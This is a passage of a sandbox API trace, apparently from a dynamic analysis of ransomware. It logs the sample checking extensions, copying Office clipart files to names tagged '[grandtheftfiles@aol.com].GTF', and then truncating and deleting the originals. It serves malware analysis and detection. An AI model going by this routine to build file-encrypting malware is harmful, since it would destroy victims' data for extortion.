	[0164.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.521] lstrlenW (lpString=".xlsx") returned 5
	[0164.522] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.522] lstrlenW (lpString=".ppt") returned 4
	[0164.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.522] lstrlenW (lpString=".zip") returned 4
	[0164.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.522] lstrlenW (lpString=".rar") returned 4
	[0164.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.522] lstrlenW (lpString=".bz2") returned 4
	[0164.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.522] lstrlenW (lpString=".7z") returned 3
	[0164.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.522] lstrlenW (lpString=".dbf") returned 4
	[0164.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.522] lstrlenW (lpString=".1cd") returned 4
	[0164.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68
	[0164.522] lstrlenW (lpString=".jpg") returned 4
	[0164.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.522] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.522] lstrlenW (lpString="J0105384.WMF") returned 12
	[0164.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.523] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5880) returned 1
	[0164.523] CloseHandle (hObject=0x52c) returned 1
	[0164.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220
	[0164.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.524] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.524] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0164.524] GetLastError () returned 0x0
	[0164.524] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x16f8, lpOverlapped=0x0) returned 1
	[0164.587] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1700, lpOverlapped=0x0) returned 1
	[0164.588] ReadFile (in: hFile=0x52c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.588] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.588] SetEndOfFile (hFile=0x550) returned 1
	[0164.613] CloseHandle (hObject=0x550) returned 1
	[0164.616] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.616] SetEndOfFile (hFile=0x52c) returned 1
	[0164.632] CloseHandle (hObject=0x52c) returned 1
	[0164.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.635] lstrlenW (lpString=".doc") returned 4
	[0164.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".docx") returned 5
	[0164.635] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0164.635] lstrlenW (lpString=".pdf") returned 4
	[0164.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".xls") returned 4
	[0164.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.635] lstrlenW (lpString=".xlsx") returned 5
	[0164.635] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0164.635] lstrlenW (lpString=".ppt") returned 4
	[0164.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.635] lstrlenW (lpString=".zip") returned 4
	[0164.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.635] lstrlenW (lpString=".rar") returned 4
	[0164.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".bz2") returned 4
	[0164.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".7z") returned 3
	[0164.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.635] lstrlenW (lpString=".dbf") returned 4
	[0164.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.636] lstrlenW (lpString=".1cd") returned 4
	[0164.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.636] lstrlenW (lpString=".jpg") returned 4
	[0164.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.636] lstrlenW (lpString=".doc") returned 4
	[0164.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString=".docx") returned 5
	[0164.636] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0164.636] lstrlenW (lpString=".pdf") returned 4
	[0164.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString=".xls") returned 4
	[0164.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.636] lstrlenW (lpString=".xlsx") returned 5
	[0164.636] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0164.636] lstrlenW (lpString=".ppt") returned 4
	[0164.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.636] lstrlenW (lpString=".zip") returned 4
	[0164.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.636] lstrlenW (lpString=".rar") returned 4
	[0164.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString=".bz2") returned 4
	[0164.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString=".7z") returned 3
	[0164.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.636] lstrlenW (lpString=".dbf") returned 4
	[0164.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.636] lstrlenW (lpString=".1cd") returned 4
	[0164.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0164.637] lstrlenW (lpString=".jpg") returned 4
	[0164.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.637] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.637] lstrlenW (lpString="J0105386.WMF") returned 12
	[0164.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.637] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5980) returned 1
	[0164.637] CloseHandle (hObject=0x554) returned 1
	[0164.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220
	[0164.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.638] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.638] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.639] GetLastError () returned 0x0
	[0164.639] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x175c, lpOverlapped=0x0) returned 1
	[0164.644] WriteFile (in: hFile=0x52c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0164.645] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.645] WriteFile (in: hFile=0x52c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.645] SetEndOfFile (hFile=0x52c) returned 1
	[0164.645] CloseHandle (hObject=0x52c) returned 1
	[0164.645] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.645] SetEndOfFile (hFile=0x554) returned 1
	[0164.647] CloseHandle (hObject=0x554) returned 1
	[0164.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1
	[0164.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.648] lstrlenW (lpString=".doc") returned 4
	[0164.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.648] lstrlenW (lpString=".docx") returned 5
	[0164.648] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.649] lstrlenW (lpString=".pdf") returned 4
	[0164.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString=".xls") returned 4
	[0164.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.649] lstrlenW (lpString=".xlsx") returned 5
	[0164.649] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.649] lstrlenW (lpString=".ppt") returned 4
	[0164.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.649] lstrlenW (lpString=".zip") returned 4
	[0164.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.649] lstrlenW (lpString=".rar") returned 4
	[0164.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString=".bz2") returned 4
	[0164.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString=".7z") returned 3
	[0164.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.649] lstrlenW (lpString=".dbf") returned 4
	[0164.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.649] lstrlenW (lpString=".1cd") returned 4
	[0164.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.649] lstrlenW (lpString=".jpg") returned 4
	[0164.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.649] lstrlenW (lpString=".doc") returned 4
	[0164.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString=".docx") returned 5
	[0164.649] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.649] lstrlenW (lpString=".pdf") returned 4
	[0164.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.649] lstrlenW (lpString=".xls") returned 4
	[0164.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.650] lstrlenW (lpString=".xlsx") returned 5
	[0164.650] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.650] lstrlenW (lpString=".ppt") returned 4
	[0164.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.650] lstrlenW (lpString=".zip") returned 4
	[0164.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.650] lstrlenW (lpString=".rar") returned 4
	[0164.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.650] lstrlenW (lpString=".bz2") returned 4
	[0164.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.650] lstrlenW (lpString=".7z") returned 3
	[0164.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.650] lstrlenW (lpString=".dbf") returned 4
	[0164.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.650] lstrlenW (lpString=".1cd") returned 4
	[0164.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0164.650] lstrlenW (lpString=".jpg") returned 4
	[0164.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.650] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.650] lstrlenW (lpString="J0105388.WMF") returned 12
	[0164.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.651] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8252) returned 1
	[0164.651] CloseHandle (hObject=0x554) returned 1
	[0164.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220
	[0164.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.652] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.652] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.653] GetLastError () returned 0x0
	[0164.653] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x203c, lpOverlapped=0x0) returned 1
	[0164.655] WriteFile (in: hFile=0x52c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2040, lpOverlapped=0x0) returned 1
	[0164.656] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.656] WriteFile (in: hFile=0x52c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.656] SetEndOfFile (hFile=0x52c) returned 1
	[0164.657] CloseHandle (hObject=0x52c) returned 1
	[0164.657] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.657] SetEndOfFile (hFile=0x554) returned 1
	[0164.660] CloseHandle (hObject=0x554) returned 1
	[0164.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1
	[0164.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.661] lstrlenW (lpString=".doc") returned 4
	[0164.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.661] lstrlenW (lpString=".docx") returned 5
	[0164.661] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.661] lstrlenW (lpString=".pdf") returned 4
	[0164.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.661] lstrlenW (lpString=".xls") returned 4
	[0164.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.661] lstrlenW (lpString=".xlsx") returned 5
	[0164.661] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.661] lstrlenW (lpString=".ppt") returned 4
	[0164.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.661] lstrlenW (lpString=".zip") returned 4
	[0164.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.661] lstrlenW (lpString=".rar") returned 4
	[0164.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.661] lstrlenW (lpString=".bz2") returned 4
	[0164.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.661] lstrlenW (lpString=".7z") returned 3
	[0164.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.661] lstrlenW (lpString=".dbf") returned 4
	[0164.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.661] lstrlenW (lpString=".1cd") returned 4
	[0164.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.661] lstrlenW (lpString=".jpg") returned 4
	[0164.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.662] lstrlenW (lpString=".doc") returned 4
	[0164.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString=".docx") returned 5
	[0164.662] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.662] lstrlenW (lpString=".pdf") returned 4
	[0164.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString=".xls") returned 4
